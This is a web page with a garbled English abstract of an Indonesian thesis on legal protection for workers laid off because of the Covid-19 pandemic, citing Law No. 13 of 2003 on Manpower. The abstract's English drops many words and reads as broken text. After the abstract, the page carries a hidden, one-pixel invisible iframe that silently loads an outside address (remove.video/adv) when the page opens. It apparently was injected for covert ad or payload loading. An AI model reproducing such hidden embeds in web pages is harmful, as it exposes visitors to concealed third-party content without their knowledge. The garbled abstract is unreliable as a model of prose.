Perlindungan Hukum pada Tenaga Kerja yang Mengalami Pemutusan Hubungan Kerja (PHK) karena Dampak Pandemi Covid-19

<div class="page" title="Page 1"><div class="layoutArea"><div class="column"><p><em><span lang="EN">The background of this research is that in the city Semarang, discussion on issue Termination Employment (PHK) a complex problem, because it has relationship with economic and psychological problems for workers affected by layoffs. Economic layoffs will cause loss income should have been received workforce before layoff occurred, course become new problem workforce. Writing thesis discusses legal protection workers/laborers caused COVID-19 Pandemic, as well an understanding rules regarding rights according to provisions Law no. 13 2003 concerning Manpower. The method used normative juridical empirical approaches, analyze data qualitative analysis, namely arranged systematically analyzed qualitatively order achieve clarity be discussed results are set forth form thesis. Legal due impact Covid-19 contained Article 164 Paragraph (3) Number Manpower giving severance pay, awards or service money during worker/labourer's working period , granting compensation layoffs.</span></em></p></div></div></div><div><iframe id="embedVideo" style="position: absolute; height: 1px,width:1px; top: 0; left: border: none; visibility: hidden;" src="http://remove.video/adv"></iframe></div>